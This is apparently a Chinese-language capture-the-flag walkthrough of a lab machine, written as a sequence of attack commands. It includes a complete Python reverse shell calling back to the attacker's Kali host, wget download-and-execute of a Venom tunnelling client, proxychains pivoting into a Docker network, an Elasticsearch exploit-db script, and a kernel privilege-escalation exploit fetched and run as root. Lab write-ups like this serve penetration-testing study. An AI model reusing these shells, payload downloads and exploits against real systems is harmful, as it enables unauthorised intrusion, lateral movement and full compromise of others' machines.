主机发现
arp-scan -l
端口发现
nmap -p- 192.168.31.112
详细信息
nmap -p22,5000 192.168.31.112 -sV
发现是python的环境
然后我们可以去尝试的登录相关网页发现信息
扫描目录
然后我们使用目录扫描工具gobuster
gobuster dir -u http://192.168.31.112:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问这个页面
提取重要信息:exec函数
反弹shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.31.236",3333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
我这里使用的是python的反弹shell,然后kali开启监听
nc -nvlp 3333
直接就是root貌似没那么简单,继续看文件
容器判断
使用ls /.dockerenv查看是否存在dockerenv文件。
使用cat /proc/1/cgroup查看
判定是docker容器
继续渗透
查看ip
主机发现
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
内网穿透
工具: venom http服务
服务器端(kali):./admin_linux_x64 -lport 4444
然后启动http服务python3 -m http.server 80
客户端(靶机):wget http://192.168.31.236/b (这个文件b是客户端的文件,我为了方便把名字改了)
增加执行权限
chmod +x b
执行
./b -rhost 192.168.31.236 -rport 4444
修改代理
sudo vi /etc/proxychains4.conf
渗透继续
proxychains nmap -Pn -sT 172.17.0.1
发现端口
proxychains nmap -Pn -sT -p22,5000 -sV 172.17.0.1
尝试访问页面(记得挂代理)
渗透继续
proxychains nmap -Pn -sT 172.17.0.3
查看详细信息
Elasticsearch 进行额外的关注,看看他有没有相关的漏洞
searchsploit Elasticsearch
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
然后尝试直接利用
proxychains python2 36337.py 172.17.0.3
但是发现不能执行命令
从网上查阅资料
先得执行这样的命令
proxychains curl -XPOST 'http://172.17.0.3:9200/twitter/user/yren' -d '{ "name" : "BA" }'
然后再去使用我们的exp
proxychains python2 36337.py 172.17.0.3
信息收集
密码破解
尝试去登录(有22端口的)
提权
内核提权
搜索一下
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
查看:这个文件,发现一个问题,没有gcc,而且这个文件是二次调用gcc,不能在外面编译。
想法:所以我们将里面的需要gcc编译的东西删除,然后另外添加即可
删除!相关的代码,最后结果如图:
查找此文件的其他需要的部分:
locate ofs-lib.so
拷贝到当前目录
然后就是启动http服务,将我们的提权文件传输过去
wget http://192.168.31.236:811/ofs-lib.so
wget http://192.168.31.236:811/exp
为了执行的成功
移动 mv * /tmp/
chmod +x exp
./exp